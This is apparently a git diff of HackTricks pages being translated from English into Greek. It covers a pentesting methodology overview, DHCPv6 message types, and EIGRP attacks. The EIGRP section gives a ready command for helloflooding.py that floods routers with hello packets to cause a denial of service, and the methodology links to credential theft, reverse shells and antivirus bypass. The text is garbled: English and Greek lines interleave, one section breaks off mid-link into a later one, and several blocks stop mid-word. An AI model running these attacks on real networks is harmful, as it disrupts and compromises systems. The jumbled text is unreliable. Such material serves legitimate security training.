**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Pentesting Methodology
|
||||
## Μεθοδολογία Πεντεστινγκ
|
||||
|
||||
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Τα λογότυπα του Hacktricks σχεδιάστηκαν από τον_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### 0- Physical Attacks
|
||||
### 0- Φυσικές Επιθέσεις
|
||||
|
||||
Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../physical-attacks/physical-attacks.md) and others about [**escaping from GUI applications**](../physical-attacks/escaping-from-gui-applications/).
|
||||
Έχετε **φυσική πρόσβαση** στον υπολογιστή που θέλετε να επιτεθείτε; Θα πρέπει να διαβάσετε μερικά [**κόλπα για φυσικές επιθέσεις**](../physical-attacks/physical-attacks.md) και άλλα για [**διαφυγή από εφαρμογές GUI**](../physical-attacks/escaping-from-gui-applications/).
|
||||
|
||||
### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/)
|
||||
### 1 - [Ανακάλυψη υπολογιστών μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη Περιουσιακών Στοιχείων της εταιρείας](external-recon-methodology/)
|
||||
|
||||
**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test).
|
||||
**Ανάλογα** με το αν το **τεστ** που πραγματοποιείτε είναι ένα **εσωτερικό ή εξωτερικό τεστ** μπορεί να σας ενδιαφέρει να βρείτε **υπολογιστές μέσα στο δίκτυο της εταιρείας** (εσωτερικό τεστ) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερικό τεστ).
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide.
|
||||
Σημειώστε ότι αν πραγματοποιείτε ένα εξωτερικό τεστ, αφού καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας, θα πρέπει να ξεκινήσετε ξανά αυτόν τον οδηγό.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)**
|
||||
### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερικό)**
|
||||
|
||||
**This section only applies if you are performing an internal test.**\
|
||||
Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
**Αυτή η ενότητα ισχύει μόνο αν πραγματοποιείτε ένα εσωτερικό τεστ.**\
|
||||
Πριν επιτεθείτε σε έναν υπολογιστή, ίσως προτιμήσετε να **κλέψετε μερικές πιστοποιήσεις** **από το δίκτυο** ή να **κατασκοπεύσετε** μερικά **δεδομένα** για να μάθετε **παθητικά/ενεργά(MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε το [**Πεντεστινγκ Δικτύου**](pentesting-network/#sniffing).
|
||||
|
||||
### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts)
|
||||
### 3- [Σάρωση Θυρών - Ανακάλυψη Υπηρεσιών](pentesting-network/#scanning-hosts)
|
||||
|
||||
The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts).
|
||||
Το πρώτο πράγμα που πρέπει να κάνετε όταν **ψάχνετε για ευπάθειες σε έναν υπολογιστή** είναι να γνωρίζετε ποιες **υπηρεσίες τρέχουν** σε ποιες θύρες. Ας δούμε τα [**
|
||||
### **9 -** [**Εξαγωγή**](exfiltration.md)
|
||||
|
||||
### **4-** [Searching service version exploits](search-exploits.md)
|
||||
Πιθανώς θα χρειαστεί να **εξάγετε ορισμένα δεδομένα από το θύμα** ή ακόμα και να **εισάγετε κάτι** (όπως σενάρια εξέλιξης προνομίων). **Εδώ έχετε ένα** [**άρθρο για κοινά εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτούς τους σκοπούς**](exfiltration.md)**.**
|
||||
|
||||
Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell...
|
||||
### **10- Εξέλιξη προνομίων**
|
||||
|
||||
### **5-** Pentesting Services
|
||||
#### **10.1- Τοπική εξέλιξη προνομίων**
|
||||
|
||||
If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.**
|
||||
Εάν δεν είστε **root/Administrator** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **εξελίξετε τα προνόμια**.\
|
||||
Εδώ μπορείτε να βρείτε έναν **οδηγό για την εξέλιξη προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες για το πώς λειτουργεί το **Windows**:
|
||||
|
||||
**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports).
|
||||
* [**Ταυτοποίηση, Διαπιστευτήρια, Προνόμια διακριτικού και UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Πώς να [**κλέψετε διαπιστευτήρια**](broken-reference/) στα Windows
|
||||
* Ορισμένα κόλπα για το [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\
|
||||
Also, a small guide on how to[ **find known vulnerabilities in software**](search-exploits.md) can be found here.
|
||||
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για την απαρίθμηση των διαδρομών εξέλιξης προνομίων τοπικά σε Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any).
|
||||
#### **10.2- Εξέλιξη προνομίων τομέα**
|
||||
|
||||
#### 5.1 Automatic Tools
|
||||
|
||||
There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.**
|
||||
|
||||
#### **5.2 Brute-Forcing services**
|
||||
|
||||
In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](brute-force.md)**.**
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/):
|
||||
|
||||
### **7-** [**Getting Shell**](shells/)
|
||||
|
||||
Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/).
|
||||
|
||||
Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Inside
|
||||
|
||||
If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters:
|
||||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands/)
|
||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Winodows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**Exfiltration**](exfiltration.md)
|
||||
|
||||
You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.**
|
||||
|
||||
### **10- Privilege Escalation**
|
||||
|
||||
#### **10.1- Local Privesc**
|
||||
|
||||
If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\
|
||||
Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
You should also check this pages about how does **Windows work**:
|
||||
|
||||
* [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* How does [**NTLM works**](../windows-hardening/ntlm/)
|
||||
* How to [**steal credentials**](broken-reference/) in Windows
|
||||
* Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Domain Privesc**
|
||||
|
||||
Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment.
|
||||
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, την εξέλιξη προνομίων και την διατήρηση σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα κι αν αυτό είναι μόνο ένα υποτμήμα μιας ενότητας, αυτή η διαδικασία μπορεί να είναι **εξαιρετικά ευαίσθητη** σε μια ανάθεση Pentesting/Red Team.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Looting
|
||||
#### **11**.1 - Λεηλασία
|
||||
|
||||
Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\
|
||||
Find here different ways to [**dump passwords in Windows**](broken-reference/).
|
||||
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον υπολογιστή ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
|
||||
Βρείτε εδώ διάφορους τρόπους για να [**ανακτήσετε κωδικούς πρόσβασης στα Windows**](broken-reference/).
|
||||
|
||||
#### 11.2 - Persistence
|
||||
#### 11.2 - Διατήρηση
|
||||
|
||||
**Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\
|
||||
**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμών διατήρησης, ώστε να μην χρειάζεται να εκμεταλλευτείτε ξανά το σύστημα.**\
|
||||
**Εδώ μπορείτε να βρείτε μερικά** [**κόλπα διατήρησης στο Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Complete persistence Post in Windows & Linux 
|
||||
TODO: Ολοκληρώστε την ανάρτηση διατήρησης στα Windows & Linux 
|
||||
|
||||
### 12 - Pivoting
|
||||
### 12 - Περιστροφή
|
||||
|
||||
With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\
|
||||
In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md).\
|
||||
You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\
|
||||
Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments..
|
||||
Με τα **συλλεγμένα διαπιστευτήρια** μπορείτε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειάζεστε να **ανακαλύψετε και να σαρώσετε νέους υπολογιστές** (ξεκινήστε ξανά την Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
|
||||
Σε αυτήν την περίπτωση, μπορεί να είναι απαραίτητο το τούνελινγκ. Εδώ μπορείτε να βρείτε [**ένα άρθρο που μιλάει για το τούνελινγκ**](tunneling-and-port-forwarding.md).\
|
||||
Σίγουρα θα πρέπει επίσης να ελέγξετε το άρθρο για τη [**Μεθοδολογία Pentesting του Active Directory**](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε χρήσιμα κόλπα για να μετακινηθείτε πλευρικά, να εξελίξετε προνόμια και να ανακτήσετε διαπιστευτήρια.\
|
||||
Ελέγξτε επίσης τη σελίδα για το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμο για περιστροφή σε περιβάλλοντα Windows..
|
||||
|
||||
### MORE
|
||||
### ΠΕΡΙΣΣΟΤΕΡΑ
|
||||
|
||||
#### [Android Applications](../mobile-pentesting/android-app-pentesting/)
|
||||
#### [Εφαρμογές Android](../mobile-pentesting/android-app-pentesting/)
|
||||
|
||||
#### **Exploiting**
|
||||
#### **Εκμετάλλευση**
|
||||
|
||||
* [**Basic Linux Exploiting**](../exploiting/linux-exploiting-basic-esp/)
|
||||
* [**Basic Windows Exploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Basic exploiting tools**](../exploiting/tools/)
|
||||
* [**Βασική εκμετάλλευση Linux**](../exploiting/linux-exploiting-basic-esp/)
|
||||
* [**Βασική εκμετάλλευση Windows**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Βασικά εργαλεία εκμετάλλευσης**](../exploiting/tools/)
|
||||
|
||||
#### [**Basic Python**](python/)
|
||||
#### [**Βασική Python**](python/)
|
||||
|
||||
#### **Crypto tricks**
|
||||
#### **Κρυπτογραφικά κόλπα**
|
||||
|
||||
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προη
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,23 +1,21 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
### DHCPv6 vs. DHCPv4 Message Types Comparison
|
||||
A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below:
|
||||
### Σύγκριση των τύπων μηνυμάτων DHCPv6 και DHCPv4
|
||||
Παρουσιάζεται μια συγκριτική θεώρηση των τύπων μηνυμάτων DHCPv6 και DHCPv4 στον παρακάτω πίνακα:
|
||||
|
||||
| DHCPv6 Message Type | DHCPv4 Message Type |
|
||||
| Τύπος μηνύματος DHCPv6 | Τύπος μηνύματος DHCPv4 |
|
||||
|:-------------------|:-------------------|
|
||||
| Solicit (1) | DHCPDISCOVER |
|
||||
| Advertise (2) | DHCPOFFER |
|
||||
|
@ -30,38 +28,31 @@ A comparative view of DHCPv6 and DHCPv4 message types is presented in the table
|
|||
| Reconfigure (10) | DHCPFORCERENEW |
|
||||
| Relay-Forw (12), Relay-Reply (13) | none |
|
||||
|
||||
**Detailed Explanation of DHCPv6 Message Types:**
|
||||
**Λεπτομερής εξήγηση των τύπων μηνυμάτων DHCPv6:**
|
||||
|
||||
1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers.
|
||||
2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service.
|
||||
3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server.
|
||||
4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change.
|
||||
5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations.
|
||||
6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew.
|
||||
7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline.
|
||||
8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses.
|
||||
9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network.
|
||||
10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations.
|
||||
11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment.
|
||||
12. **Relay-Forw (12)**: Relay agents forward messages to servers.
|
||||
13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client.
|
||||
1. **Solicit (1)**: Έναρξη από έναν πελάτη DHCPv6 για να βρει διαθέσιμους διακομιστές.
|
||||
2. **Advertise (2)**: Αποστέλλεται από τους διακομιστές ως απόκριση σε ένα Solicit, υποδεικνύοντας τη διαθεσιμότητα για την υπηρεσία DHCP.
|
||||
3. **Request (3)**: Οι πελάτες χρησιμοποιούν αυτό για να ζητήσουν διευθύνσεις IP ή προθέματα από έναν συγκεκριμένο διακομιστή.
|
||||
4. **Confirm (4)**: Χρησιμοποιείται από έναν πελάτη για να επαληθεύσει εάν οι ανατεθειμένες διευθύνσεις είναι ακόμα έγκυρες στο δίκτυο, συνήθως μετά από μια αλλαγή στο δίκτυο.
|
||||
5. **Renew (5)**: Οι πελάτες αποστέλλουν αυτό στον αρχικό διακομιστή για να επεκτείνουν τη διάρκεια ζωής των διευθύνσεων ή να ενημερώσουν τις ρυθμίσεις.
|
||||
6. **Rebind (6)**: Αποστέλλεται σε οποιονδήποτε διακομιστή για να επεκτείνει τη διάρκεια ζωής των διευθύνσεων ή να ενημερώσει τις ρυθμίσεις, ειδικά όταν δεν λαμβάνεται απάντηση σε ένα Renew.
|
||||
7. **Reply (7)**: Οι διακομιστές χρησιμοποιούν αυτό για να παρέχουν διευθύνσεις, παραμέτρους ρυθμίσεων ή για να αναγνωρίσουν μηνύματα όπως το Release ή το Decline.
|
||||
8. **Release (8)**: Οι πελάτες ενημερώνουν τον διακομιστή να σταματήσει να χρησιμοποιεί μία ή περισσότερες ανατεθειμένες διευθύνσεις.
|
||||
9. **Decline (9)**: Αποστέλλεται από τους πελάτες για να αναφέρουν ότι οι ανατεθειμένες διευθύνσεις είναι σε σύγκρουση στο δίκτυο.
|
||||
10. **Reconfigure (10)**: Οι διακομιστές προτρέπουν τους πελάτες να ξεκινήσουν συναλλαγές για νέες ή ενημερωμένες ρυθμίσεις.
|
||||
11. **Information-Request (11)**: Οι πελάτες ζητούν παραμέτρους ρυθμίσεων χωρίς ανάθεση διεύθυνσης IP.
|
||||
12. **Relay-Forw (12)**: Οι διαμεσολαβητές προωθούν μηνύματα σε διακομιστές.
|
||||
13. **Relay-Repl (13)**: Οι διακομιστές απαντούν στους διαμεσολαβητές, οι οποίοι στη συνέχεια παραδίδουν το μήνυμα στον πελάτη.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
* [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Απο
|
||||
|
|
|
@ -1,86 +1,71 @@
|
|||
# EIGRP Attacks
|
||||
# Επιθέσεις EIGRP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information.
|
||||
**Αυτό είναι ένα σύνοψη των επιθέσεων που παρουσιάζονται στο** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Ελέγξτε το για περαιτέρω πληροφορίες.
|
||||
|
||||
## **Fake EIGRP Neighbors Attack**
|
||||
|
||||
- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack.
|
||||
- **Tool**: **helloflooding.py** script.
|
||||
- **Execution**:
|
||||
%%%bash
|
||||
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
|
||||
%%%
|
||||
- **Parameters**:
|
||||
- `--interface`: Specifies the network interface, e.g., `eth0`.
|
||||
- `--as`: Defines the EIGRP autonomous system number, e.g., `1`.
|
||||
- `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`.
|
||||
## **Επίθεση Ψεύτικων Γειτόνων EIGRP**
|
||||
|
||||
## **EIGRP Blackhole Attack**
|
||||
- **Στόχος**: Να υπερφορτωθούν οι επεξεργαστές του δρομολογητή με πλημμύρα πακέτων hello EIGRP, με δυνητική αποτυχία υπηρεσίας (DoS) επίθεση.
|
||||
- **Εργαλείο**: Σενάριο **helloflooding.py**.
|
||||
